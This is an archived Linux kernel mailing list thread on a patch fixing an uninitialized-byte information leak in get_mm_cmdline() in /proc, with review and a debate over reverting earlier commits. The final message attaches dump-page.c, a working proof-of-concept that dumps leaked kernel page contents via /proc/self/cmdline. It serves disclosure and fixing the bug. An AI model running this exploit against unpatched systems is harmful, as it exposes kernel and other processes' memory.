* [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() @ 2019-07-12 16:09 Alexey Izbyshev 2019-07-12 16:36 ` Oleg Nesterov 0 siblings, 1 reply; 8+ messages in thread From: Alexey Izbyshev @ 2019-07-12 16:09 UTC (permalink / raw) To: Alexey Dobriyan Cc: linux-kernel, linux-fsdevel, security, Alexey Izbyshev, Oleg Nesterov get_mm_cmdline() leaks an uninitialized byte located at user-controlled offset in a newly-allocated kernel page in the following scenario. - When reading the last chunk of cmdline, access_remote_vm() fails to copy the requested number of bytes, but still copies enough bytes so that we get into the body of "if (pos + got >= arg_end)" statement. This can be arranged by user, for example, by applying mprotect(PROT_NONE) to the env block. - strnlen() doesn't find a NUL byte. This too can be arranged by user via suitable modifications of argument and env blocks. - The above causes the following condition to be true despite that no NUL byte was found: /* Include the NUL if it existed */ if (got < size) got++; The resulting increment causes the subsequent copy_to_user() to copy an extra byte from "page" to userspace. That byte might come from previous uses of memory referred by "page" before it was allocated by get_mm_cmdline(), potentially leaking data belonging to other processes or kernel. Fix this by ensuring that "size + offset" doesn't exceed the number of bytes copied by access_remote_vm(). Fixes: f5b65348fd77 ("proc: fix missing final NUL in get_mm_cmdline() rewrite") Cc: Alexey Dobriyan <adobriyan@gmail.com> Cc: Oleg Nesterov <oleg@redhat.com> Signed-off-by: Alexey Izbyshev <izbyshev@ispras.ru> --- This patch was initially sent to <security@kernel.org> accompanied with a little program that exploits the bug to dump the kernel page used in get_mm_cmdline(). Thanks to Oleg Nesterov and Laura Abbott for their feedback! fs/proc/base.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fs/proc/base.c b/fs/proc/base.c index 255f6754c70d..6e30dd791761 100644 --- a/fs/proc/base.c +++ b/fs/proc/base.c @@ -275,6 +275,8 @@ static ssize_t get_mm_cmdline(struct mm_struct *mm, char __user *buf, if (got <= offset) break; got -= offset; + if (got < size) + size = got; /* Don't walk past a NUL character once you hit arg_end */ if (pos + got >= arg_end) { -- 2.21.0 ^ permalink raw reply related [flat|nested] 8+ messages in thread
* Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() 2019-07-12 16:09 [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() Alexey Izbyshev @ 2019-07-12 16:36 ` Oleg Nesterov 2019-07-12 17:46 ` Alexey Dobriyan 0 siblings, 1 reply; 8+ messages in thread From: Oleg Nesterov @ 2019-07-12 16:36 UTC (permalink / raw) To: Alexey Izbyshev; +Cc: Alexey Dobriyan, linux-kernel, linux-fsdevel, security On 07/12, Alexey Izbyshev wrote: > > --- a/fs/proc/base.c > +++ b/fs/proc/base.c > @@ -275,6 +275,8 @@ static ssize_t get_mm_cmdline(struct mm_struct *mm, char __user *buf, > if (got <= offset) > break; > got -= offset; > + if (got < size) > + size = got; Acked-by: Oleg Nesterov <oleg@redhat.com> ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() 2019-07-12 16:36 ` Oleg Nesterov @ 2019-07-12 17:46 ` Alexey Dobriyan 2019-07-12 18:43 ` Alexey Izbyshev 0 siblings, 1 reply; 8+ messages in thread From: Alexey Dobriyan @ 2019-07-12 17:46 UTC (permalink / raw) To: Oleg Nesterov; +Cc: Alexey Izbyshev, linux-kernel, linux-fsdevel, security On Fri, Jul 12, 2019 at 06:36:26PM +0200, Oleg Nesterov wrote: > On 07/12, Alexey Izbyshev wrote: > > > > --- a/fs/proc/base.c > > +++ b/fs/proc/base.c > > @@ -275,6 +275,8 @@ static ssize_t get_mm_cmdline(struct mm_struct *mm, char __user *buf, > > if (got <= offset) > > break; > > got -= offset; > > + if (got < size) > > + size = got; > > Acked-by: Oleg Nesterov <oleg@redhat.com> The proper fix to all /proc/*/cmdline problems is to revert f5b65348fd77839b50e79bc0a5e536832ea52d8d proc: fix missing final NUL in get_mm_cmdline() rewrite 5ab8271899658042fabc5ae7e6a99066a210bc0e fs/proc: simplify and clarify get_mm_cmdline() function ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() 2019-07-12 17:46 ` Alexey Dobriyan @ 2019-07-12 18:43 ` Alexey Izbyshev 2019-07-12 21:17 ` Jakub Jankowski 2019-07-13 7:26 ` Alexey Dobriyan 0 siblings, 2 replies; 8+ messages in thread From: Alexey Izbyshev @ 2019-07-12 18:43 UTC (permalink / raw) To: Alexey Dobriyan, Oleg Nesterov; +Cc: linux-kernel, linux-fsdevel, security On 7/12/19 8:46 PM, Alexey Dobriyan wrote: > On Fri, Jul 12, 2019 at 06:36:26PM +0200, Oleg Nesterov wrote: >> On 07/12, Alexey Izbyshev wrote: >>> >>> --- a/fs/proc/base.c >>> +++ b/fs/proc/base.c >>> @@ -275,6 +275,8 @@ static ssize_t get_mm_cmdline(struct mm_struct *mm, char __user *buf, >>> if (got <= offset) >>> break; >>> got -= offset; >>> + if (got < size) >>> + size = got; >> >> Acked-by: Oleg Nesterov <oleg@redhat.com> > > The proper fix to all /proc/*/cmdline problems is to revert > > f5b65348fd77839b50e79bc0a5e536832ea52d8d > proc: fix missing final NUL in get_mm_cmdline() rewrite > > 5ab8271899658042fabc5ae7e6a99066a210bc0e > fs/proc: simplify and clarify get_mm_cmdline() function > Should this be interpreted as an actual suggestion to revert the patches, fix the conflicts, test and submit them, or is this more like thinking out loud? In the former case, will it be OK for long term branches? get_mm_cmdline() does seem easier to read for me before 5ab8271899658042. But it also has different semantics in corner cases, for example: - If there is no NUL at arg_end-1, it reads only the first string in the combined arg/env block, and doesn't terminate it with NUL. - If there is any problem with access_remote_vm() or copy_to_user(), it returns -EFAULT even if some data were copied to userspace. On the other hand, 5ab8271899658042 was merged not too long ago (about a year), so it's possible that the current semantics isn't heavily relied upon. Alexey ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() 2019-07-12 18:43 ` Alexey Izbyshev @ 2019-07-12 21:17 ` Jakub Jankowski 2019-07-12 22:29 ` Alexey Izbyshev 2019-07-13 7:26 ` Alexey Dobriyan 1 sibling, 1 reply; 8+ messages in thread From: Jakub Jankowski @ 2019-07-12 21:17 UTC (permalink / raw) To: Alexey Izbyshev, Alexey Dobriyan, Oleg Nesterov Cc: linux-kernel, linux-fsdevel, security On 2019-07-12, Alexey Izbyshev wrote: > On 7/12/19 8:46 PM, Alexey Dobriyan wrote: >> The proper fix to all /proc/*/cmdline problems is to revert >> >> f5b65348fd77839b50e79bc0a5e536832ea52d8d >> proc: fix missing final NUL in get_mm_cmdline() rewrite >> >> 5ab8271899658042fabc5ae7e6a99066a210bc0e >> fs/proc: simplify and clarify get_mm_cmdline() function >> > Should this be interpreted as an actual suggestion to revert the patches, > fix the conflicts, test and submit them, or is this more like thinking out > loud? In the former case, will it be OK for long term branches? > > get_mm_cmdline() does seem easier to read for me before 5ab8271899658042. > But it also has different semantics in corner cases, for example: > > - If there is no NUL at arg_end-1, it reads only the first string in > the combined arg/env block, and doesn't terminate it with NUL. > > - If there is any problem with access_remote_vm() or copy_to_user(), > it returns -EFAULT even if some data were copied to userspace. > > On the other hand, 5ab8271899658042 was merged not too long ago (about a year), > so it's possible that the current semantics isn't heavily relied upon. I posted this (corner?) case ~3 months ago, unfortunately it wasn't picked up by anyone: https://lkml.org/lkml/2019/4/5/825 You can treat it as another datapoint in this discussion. Regards, Jakub -- Jakub Jankowski|shasta@toxcorp.com|https://toxcorp.com/ ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() 2019-07-12 21:17 ` Jakub Jankowski @ 2019-07-12 22:29 ` Alexey Izbyshev 0 siblings, 0 replies; 8+ messages in thread From: Alexey Izbyshev @ 2019-07-12 22:29 UTC (permalink / raw) To: Jakub Jankowski, Alexey Dobriyan, Oleg Nesterov Cc: linux-kernel, linux-fsdevel, security On 7/13/19 12:17 AM, Jakub Jankowski wrote: > On 2019-07-12, Alexey Izbyshev wrote: > >> On 7/12/19 8:46 PM, Alexey Dobriyan wrote: >>> The proper fix to all /proc/*/cmdline problems is to revert >>> >>> f5b65348fd77839b50e79bc0a5e536832ea52d8d >>> proc: fix missing final NUL in get_mm_cmdline() rewrite >>> >>> 5ab8271899658042fabc5ae7e6a99066a210bc0e >>> fs/proc: simplify and clarify get_mm_cmdline() function >>> >> Should this be interpreted as an actual suggestion to revert the patches, >> fix the conflicts, test and submit them, or is this more like thinking out >> loud? In the former case, will it be OK for long term branches? >> >> get_mm_cmdline() does seem easier to read for me before 5ab8271899658042. >> But it also has different semantics in corner cases, for example: >> >> - If there is no NUL at arg_end-1, it reads only the first string in >> the combined arg/env block, and doesn't terminate it with NUL. >> >> - If there is any problem with access_remote_vm() or copy_to_user(), >> it returns -EFAULT even if some data were copied to userspace. >> >> On the other hand, 5ab8271899658042 was merged not too long ago (about a year), >> so it's possible that the current semantics isn't heavily relied upon. > > I posted this (corner?) case ~3 months ago, unfortunately it wasn't picked up by anyone: https://lkml.org/lkml/2019/4/5/825 > You can treat it as another datapoint in this discussion. > Thanks, this is interesting. Perl explicitly relies on special treatment of non-NUL at arg_end-1 in pre-5ab8271899658042: on argv0 replace, it fills everything after the new argv0 in the combined argv/env block with spaces [1,2]. While personally I don't approve what Perl does here, 5ab8271899658042 did change the user-visible behavior in this case. [1] https://perl5.git.perl.org/perl.git/blob/86b50d930caa:/mg.c#l2733 [2] https://perl5.git.perl.org/perl.git/blob/86b50d930caa:/perl.c#l1698 Alexey > > Regards, > Jakub > ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() 2019-07-12 18:43 ` Alexey Izbyshev 2019-07-12 21:17 ` Jakub Jankowski @ 2019-07-13 7:26 ` Alexey Dobriyan 2019-07-13 14:09 ` Alexey Izbyshev 1 sibling, 1 reply; 8+ messages in thread From: Alexey Dobriyan @ 2019-07-13 7:26 UTC (permalink / raw) To: Alexey Izbyshev; +Cc: Oleg Nesterov, linux-kernel, linux-fsdevel, security On Fri, Jul 12, 2019 at 09:43:03PM +0300, Alexey Izbyshev wrote: > On 7/12/19 8:46 PM, Alexey Dobriyan wrote: > > On Fri, Jul 12, 2019 at 06:36:26PM +0200, Oleg Nesterov wrote: > >> On 07/12, Alexey Izbyshev wrote: > >>> > >>> --- a/fs/proc/base.c > >>> +++ b/fs/proc/base.c > >>> @@ -275,6 +275,8 @@ static ssize_t get_mm_cmdline(struct mm_struct *mm, char __user *buf, > >>> if (got <= offset) > >>> break; > >>> got -= offset; > >>> + if (got < size) > >>> + size = got; > >> > >> Acked-by: Oleg Nesterov <oleg@redhat.com> > > > > The proper fix to all /proc/*/cmdline problems is to revert > > > > f5b65348fd77839b50e79bc0a5e536832ea52d8d > > proc: fix missing final NUL in get_mm_cmdline() rewrite > > > > 5ab8271899658042fabc5ae7e6a99066a210bc0e > > fs/proc: simplify and clarify get_mm_cmdline() function > > > Should this be interpreted as an actual suggestion to revert the patches, > fix the conflicts, test and submit them, or is this more like thinking out > loud? Of course! Do you have a reproducer? > In the former case, will it be OK for long term branches? For everyone. If a rewrite causes 1 bug, 1 user visible change and a infoleak, it is called revert. > get_mm_cmdline() does seem easier to read for me before 5ab8271899658042. > But it also has different semantics in corner cases, for example: All semantics changes are recent. > - If there is no NUL at arg_end-1, it reads only the first string in > the combined arg/env block, and doesn't terminate it with NUL. That's because fixed-length /proc/*/cmdline did that. > - If there is any problem with access_remote_vm() or copy_to_user(), > it returns -EFAULT even if some data were copied to userspace. > > On the other hand, 5ab8271899658042 was merged not too long ago (about a year), > so it's possible that the current semantics isn't heavily relied upon. ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() 2019-07-13 7:26 ` Alexey Dobriyan @ 2019-07-13 14:09 ` Alexey Izbyshev 0 siblings, 0 replies; 8+ messages in thread From: Alexey Izbyshev @ 2019-07-13 14:09 UTC (permalink / raw) To: Alexey Dobriyan; +Cc: Oleg Nesterov, linux-kernel, linux-fsdevel, security [-- Attachment #1: Type: text/plain, Size: 674 bytes --] On 7/13/19 10:26 AM, Alexey Dobriyan wrote: > On Fri, Jul 12, 2019 at 09:43:03PM +0300, Alexey Izbyshev wrote: >> On 7/12/19 8:46 PM, Alexey Dobriyan wrote: >>> The proper fix to all /proc/*/cmdline problems is to revert >>> >>> f5b65348fd77839b50e79bc0a5e536832ea52d8d >>> proc: fix missing final NUL in get_mm_cmdline() rewrite >>> >>> 5ab8271899658042fabc5ae7e6a99066a210bc0e >>> fs/proc: simplify and clarify get_mm_cmdline() function >>> >> Should this be interpreted as an actual suggestion to revert the patches, >> fix the conflicts, test and submit them, or is this more like thinking out >> loud? > > Of course! Do you have a reproducer? > Attached. Alexey [-- Attachment #2: dump-page.c --] [-- Type: text/x-csrc, Size: 2610 bytes --] #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #define PAGE_SIZE 4096 #define CHECK(expr) \ ({ \ long r = (expr); \ if (r < 0) { \ perror(#expr); \ exit(1); \ } \ r; \ }) static void dump(unsigned char *page, size_t ind) { char fname[30]; sprintf(fname, "page%zu", ind); printf("dumping %s\n", fname); int fd = CHECK(open(fname, O_CREAT|O_TRUNC|O_WRONLY, 0666)); CHECK(write(fd, page, PAGE_SIZE)); close(fd); } int main(int argc, char *argv[], char *envp[]) { char *last_arg_nul = argv[argc - 1] + strlen(argv[argc - 1]); printf("last arg end: %p\n", last_arg_nul); size_t argv_size = last_arg_nul - argv[0] + 1; size_t page_offset = (uintptr_t)last_arg_nul & (PAGE_SIZE - 1); if (page_offset != PAGE_SIZE - 1 || argv_size < PAGE_SIZE - 1) { printf("will re-exec to arrange argv\n"); if (page_offset != PAGE_SIZE - 1) { /* Pad env block so that the last byte of arg block is also * the last byte of its page. */ size_t env0_size = page_offset + 1 + strlen(envp[0]) + 1; char *new_env = malloc(env0_size); memset(new_env, 'Z', env0_size - 1); new_env[env0_size - 1] = '\0'; envp[0] = new_env; } char *path = argv[0]; if (argv_size < PAGE_SIZE) { /* Also make sure that arg block is not shorter than a page. */ argv[0] = (char[]){[0 ... PAGE_SIZE - 1] = 'Z', '\0'}; } execve(path, argv, envp); perror("execve"); return 127; } *last_arg_nul = 'Z'; /* Make sure the kernel can't read past arg_end. */ CHECK(mprotect(last_arg_nul + 1, PAGE_SIZE, PROT_NONE)); char buf[PAGE_SIZE]; unsigned char leaked[PAGE_SIZE] = {'U'}; unsigned num_good = 0; int fd = CHECK(open("/proc/self/cmdline", O_RDONLY)); while (1) { int found_good = 0; for (size_t off = 1; off < PAGE_SIZE; ++off) { CHECK(lseek(fd, argv_size - off, SEEK_SET)); ssize_t got = CHECK(read(fd, buf, sizeof buf)); if (got <= off) { printf("no leak: kernel seems to be fixed\n"); return 1; } unsigned char leaked_byte = buf[got - 1]; found_good |= (leaked_byte && leaked_byte != 'Z'); leaked[off] = leaked_byte; } if (found_good) dump(leaked, num_good++); sleep(1); } close(fd); return 0; } ^ permalink raw reply [flat|nested] 8+ messages in thread
end of thread, other threads:[~2019-07-13 14:09 UTC | newest] Thread overview: 8+ messages (download: mbox.gz / follow: Atom feed) -- links below jump to the message on this page -- 2019-07-12 16:09 [PATCH] proc: Fix uninitialized byte read in get_mm_cmdline() Alexey Izbyshev 2019-07-12 16:36 ` Oleg Nesterov 2019-07-12 17:46 ` Alexey Dobriyan 2019-07-12 18:43 ` Alexey Izbyshev 2019-07-12 21:17 ` Jakub Jankowski 2019-07-12 22:29 ` Alexey Izbyshev 2019-07-13 7:26 ` Alexey Dobriyan 2019-07-13 14:09 ` Alexey Izbyshev
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for NNTP newsgroup(s).